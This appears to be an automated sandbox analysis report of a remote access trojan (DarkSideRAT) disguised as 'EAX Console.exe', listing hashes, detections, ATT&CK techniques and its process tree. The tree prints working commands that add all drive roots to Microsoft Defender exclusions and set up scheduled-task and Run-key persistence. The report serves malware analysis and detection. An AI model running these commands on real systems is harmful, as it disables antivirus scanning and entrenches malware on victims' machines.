Analysis
- user interaction
yes - max time kernel
149s - max time network
146s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
09/08/2026, 02:15
Static task
static1
Behavioral task
behavioral1
Sample
EAX Console.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
EAX Console.exe
Resource
win11ltsc2024-20260709-en
General
- Target EAX Console.exe
- Size 102KB
- Sample260809-cpp1dsycpe
- SHA256 7b5099a2989a1e7d52ac7a1c653b5dfb22f2c33ca01a00d20cd48276fc992f76
- MD5 4ff8e9553cd105851a7b58ac3729a5e8
- SHA1 b171ff8f4913366891c3222afadb34e040392a68
- SHA512 8d0eafeb32230bedbe160116e4196cbe2c8d652cea15bfe2820af06390065f544927b7c0a9721ccf259e8c35b116d40aea12a78d0c5ee9668253b16b1c4fa112
- SSDEEP 1536:kYvxrhs3z5F8JPDCkRNLT8vJDxXjmJe37AG8Du6+WSss/eYwp:kAxNssh9RhiJIE3UY6+WSvm
- TLSH T1BDA33A06F75354E8C51EF1F445E6E673AA32BC1540309B6A16F0FA323E70A53EE69A1C
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Family: DarkSideRAT
DarkSideRAT is a remote access trojan.
- Detects DarkSideRAT 8 IoCs
resource yara_rule behavioral1/memory/6068-4-0x0000000140000000-0x0000000140015000-memory.dmp family_darksiderat behavioral1/memory/6068-5-0x0000000140000000-0x0000000140015000-memory.dmp family_darksiderat behavioral1/memory/6068-3-0x0000000140000000-0x0000000140015000-memory.dmp family_darksiderat behavioral1/memory/6068-1-0x0000000140000000-0x0000000140015000-memory.dmp family_darksiderat behavioral1/memory/3836-40-0x0000000140000000-0x0000000140015000-memory.dmp family_darksiderat behavioral1/memory/3836-43-0x0000000140000000-0x0000000140015000-memory.dmp family_darksiderat behavioral1/memory/5720-74-0x0000000140000000-0x0000000140015000-memory.dmp family_darksiderat behavioral1/memory/5720-75-0x0000000140000000-0x0000000140015000-memory.dmp family_darksiderat - Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 5040 powershell.exe 5228 powershell.exe 3832 powershell.exe - Executes dropped EXE 4 IoCs
pid Process 5744 EAX Console.exe 3836 EAX Console.exe 2776 EAX Console.exe 5720 EAX Console.exe - Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 3 IoCs
Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.
pid Process 5672 cmd.exe 1244 cmd.exe 5992 cmd.exe - Adds Run key to start application 2 TTPs 3 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\EAX Console = "C:\\Users\\Admin\\AppData\\Roaming\\EAX Console.exe" EAX Console.exe Set value (str) \REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\EAX Console = "C:\\Users\\Admin\\AppData\\Roaming\\EAX Console.exe" EAX Console.exe Set value (str) \REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\EAX Console = "C:\\Users\\Admin\\AppData\\Roaming\\EAX Console.exe" EAX Console.exe - Checks system information in the registry 2 TTPs 6 IoCs
System information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName EAX Console.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer EAX Console.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName EAX Console.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer EAX Console.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName EAX Console.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer EAX Console.exe - Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 3844 set thread context of 6068 3844 EAX Console.exe 87 PID 5744 set thread context of 3836 5744 EAX Console.exe 101 PID 2776 set thread context of 5720 2776 EAX Console.exe 115 - Hide Artifacts: Ignore Process Interrupts 1 TTPs 3 IoCs
Command interpreters often include specific commands/flags that ignore errors and other hangups.
pid Process 5672 cmd.exe 1244 cmd.exe 5992 cmd.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5980 schtasks.exe 444 schtasks.exe 2364 schtasks.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 5040 powershell.exe 5040 powershell.exe 5228 powershell.exe 5228 powershell.exe 3832 powershell.exe 3832 powershell.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 5040 powershell.exe Token: SeDebugPrivilege 5228 powershell.exe Token: SeDebugPrivilege 3832 powershell.exe - Suspicious use of WriteProcessMemory 33 IoCs
description pid Process procid_target PID 3844 wrote to memory of 6068 3844 EAX Console.exe 87 PID 3844 wrote to memory of 6068 3844 EAX Console.exe 87 PID 3844 wrote to memory of 6068 3844 EAX Console.exe 87 PID 3844 wrote to memory of 6068 3844 EAX Console.exe 87 PID 3844 wrote to memory of 6068 3844 EAX Console.exe 87 PID 3844 wrote to memory of 6068 3844 EAX Console.exe 87 PID 3844 wrote to memory of 6068 3844 EAX Console.exe 87 PID 3844 wrote to memory of 5672 3844 EAX Console.exe 88 PID 5672 wrote to memory of 1180 5672 cmd.exe 92 PID 5672 wrote to memory of 5040 5672 cmd.exe 94 PID 3844 wrote to memory of 5980 3844 EAX Console.exe 95 PID 5744 wrote to memory of 3836 5744 EAX Console.exe 101 PID 5744 wrote to memory of 3836 5744 EAX Console.exe 101 PID 5744 wrote to memory of 3836 5744 EAX Console.exe 101 PID 5744 wrote to memory of 3836 5744 EAX Console.exe 101 PID 5744 wrote to memory of 3836 5744 EAX Console.exe 101 PID 5744 wrote to memory of 3836 5744 EAX Console.exe 101 PID 5744 wrote to memory of 3836 5744 EAX Console.exe 101 PID 5744 wrote to memory of 1244 5744 EAX Console.exe 104 PID 1244 wrote to memory of 4216 1244 cmd.exe 106 PID 1244 wrote to memory of 5228 1244 cmd.exe 107 PID 5744 wrote to memory of 444 5744 EAX Console.exe 108 PID 2776 wrote to memory of 5720 2776 EAX Console.exe 115 PID 2776 wrote to memory of 5720 2776 EAX Console.exe 115 PID 2776 wrote to memory of 5720 2776 EAX Console.exe 115 PID 2776 wrote to memory of 5720 2776 EAX Console.exe 115 PID 2776 wrote to memory of 5720 2776 EAX Console.exe 115 PID 2776 wrote to memory of 5720 2776 EAX Console.exe 115 PID 2776 wrote to memory of 5720 2776 EAX Console.exe 115 PID 2776 wrote to memory of 5992 2776 EAX Console.exe 118 PID 5992 wrote to memory of 3020 5992 cmd.exe 120 PID 5992 wrote to memory of 3832 5992 cmd.exe 121 PID 2776 wrote to memory of 2364 2776 EAX Console.exe 122 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\EAX Console.exe"C:\Users\Admin\AppData\Local\Temp\EAX Console.exe"1⤵
- Adds Run key to start application
- Checks system information in the registry
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3844 -
C:\Users\Admin\AppData\Local\Temp\EAX Console.exe"C:\Users\Admin\AppData\Local\Temp\EAX Console.exe"2⤵PID:6068
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C:\Windows\SYSTEM32\cmd.execmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"2⤵
- Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
- Hide Artifacts: Ignore Process Interrupts
- Suspicious use of WriteProcessMemory
PID:5672 -
C:\Windows\system32\chcp.comchcp 650013⤵PID:1180
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5040
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C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /create /f /sc minute /mo 1 /tn "EAX Console" /tr "C:\Users\Admin\AppData\Roaming\EAX Console.exe"2⤵
- Scheduled Task/Job: Scheduled Task
PID:5980
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C:\Users\Admin\AppData\Roaming\EAX Console.exe"C:\Users\Admin\AppData\Roaming\EAX Console.exe"1⤵
- Executes dropped EXE
- Adds Run key to start application
- Checks system information in the registry
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:5744 -
C:\Users\Admin\AppData\Roaming\EAX Console.exe"C:\Users\Admin\AppData\Roaming\EAX Console.exe"2⤵
- Executes dropped EXE
PID:3836
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C:\Windows\system32\cmd.execmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"2⤵
- Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
- Hide Artifacts: Ignore Process Interrupts
- Suspicious use of WriteProcessMemory
PID:1244 -
C:\Windows\system32\chcp.comchcp 650013⤵PID:4216
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5228
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C:\Windows\system32\schtasks.exeschtasks.exe /create /f /sc minute /mo 1 /tn "EAX Console" /tr "C:\Users\Admin\AppData\Roaming\EAX Console.exe"2⤵
- Scheduled Task/Job: Scheduled Task
PID:444
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C:\Users\Admin\AppData\Roaming\EAX Console.exe"C:\Users\Admin\AppData\Roaming\EAX Console.exe"1⤵
- Executes dropped EXE
- Adds Run key to start application
- Checks system information in the registry
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2776 -
C:\Users\Admin\AppData\Roaming\EAX Console.exe"C:\Users\Admin\AppData\Roaming\EAX Console.exe"2⤵
- Executes dropped EXE
PID:5720
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C:\Windows\system32\cmd.execmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"2⤵
- Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
- Hide Artifacts: Ignore Process Interrupts
- Suspicious use of WriteProcessMemory
PID:5992 -
C:\Windows\system32\chcp.comchcp 650013⤵PID:3020
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3832
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C:\Windows\system32\schtasks.exeschtasks.exe /create /f /sc minute /mo 1 /tn "EAX Console" /tr "C:\Users\Admin\AppData\Roaming\EAX Console.exe"2⤵
- Scheduled Task/Job: Scheduled Task
PID:2364
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 3KB
- SHA256 0e6517ec83b201bbab64b202a1056eb9777967f3dea5d947fc10a28b4eb62644
- MD5 5762b04420f486c346bdfb3f40d33c85
- SHA1 40f89abb08c4ab93ee75a068dd32fcafc54ee80e
- SHA512 ca4cc48543e017fc402732d0c31b094140a5e865bd6bb8821c909d543f9bc746430c95c98bfb9828e2832c609d52aedb1b01b8cc4c7c032e56f367e05f05af25
- TLSH T1A361EE323375B0D4C8567F072A28198053BF4396EA94AF5CB258621EDA3741B9F122F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 4ffe11db5be71d78ddeaf4d1af3fc1a0fd412ed15fb8c5f5a92c7ef04395414a
- MD5 2224b25f9a3ab6045dda0a9fca79e6b0
- SHA1 3c39edcc65e81ec8b555b4cd8244ae7a922f3f9f
- SHA512 3a569de24d2aba854f1af641b14e0cf05a67139b08c97bb0f33856f747ff23a112b099e89c38c2fa43cb19d7077c277e928f2c821a04c8488b8ae062a5a59d43
- TLSH T146217433F3CC8922CC86163A509D9C1176B682C791DEDFAF6BC1D21195BF584CB61290
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 be1ab4355ebcaabdf9fbf43205d20879d156aec252e7622b52398717f4a8ceb0
- MD5 ea932397ef40713ee5016c4b26fec2e4
- SHA1 cff74838c954718dc2e1d6db8a048f3354b8b7cc
- SHA512 65dd49f3283bcfb8e8f8dc9da4c04dc0f6ad109681831d226574e8e1682097380a513a45c1c7f2facf0b8f35a3b737947138b119626d4df1c05bbf6470e30b50
- TLSH T148217433F3CC8922CC86163A108D9C11B6B682C791DEDF9F6BC0D21195BF584CB61590
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yqmpivtg.xdo.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\~msnDEV-4a3a28740da4f3eb.tmp
- Size 4B
- SHA256 f7904d6f4a4e19d37bc8824f8eabd3add0d614112a412b137c29b61222d6a4d4
- MD5 5a049676afe2b7825bd7b4c28019e05e
- SHA1 7e24dc87204a640b62f66e29d61880e6f70a450c
- SHA512 4ca7943e92e25b648235ddf2959d40fca38471fed5c2c4bd780fda252b7758306967311f9a36b193b71d1f570110349bad6e38a562226fd2be435d6ae70c881c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\~msnDEV-4a3a28740da4f3eb.tmp
- Size 4B
- SHA256 fddaad52fcd4fef1725d6875f5cc94439963f1329b220593e08b53afcbb70653
- MD5 a3a573a6695c1a5db9787965d0d8e225
- SHA1 e44eeb821c79d5a8213391a3fed359f723540eac
- SHA512 3219c03092f7f5106c7b16ba78303dc6a409201cea3887f7ac2999245e1814ce617a8e0ea30e287051acd268da3fc72f94cbc3abcf40b61d686ec6f4ab583bc1
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\EAX Console.exe
- Size 102KB
- SHA256 7b5099a2989a1e7d52ac7a1c653b5dfb22f2c33ca01a00d20cd48276fc992f76
- MD5 4ff8e9553cd105851a7b58ac3729a5e8
- SHA1 b171ff8f4913366891c3222afadb34e040392a68
- SHA512 8d0eafeb32230bedbe160116e4196cbe2c8d652cea15bfe2820af06390065f544927b7c0a9721ccf259e8c35b116d40aea12a78d0c5ee9668253b16b1c4fa112
- SSDEEP 1536:kYvxrhs3z5F8JPDCkRNLT8vJDxXjmJe37AG8Du6+WSss/eYwp:kAxNssh9RhiJIE3UY6+WSvm
- TLSH T1BDA33A06F75354E8C51EF1F445E6E673AA32BC1540309B6A16F0FA323E70A53EE69A1C
- MD5 SHA1 SHA512 SSDEEP TLSH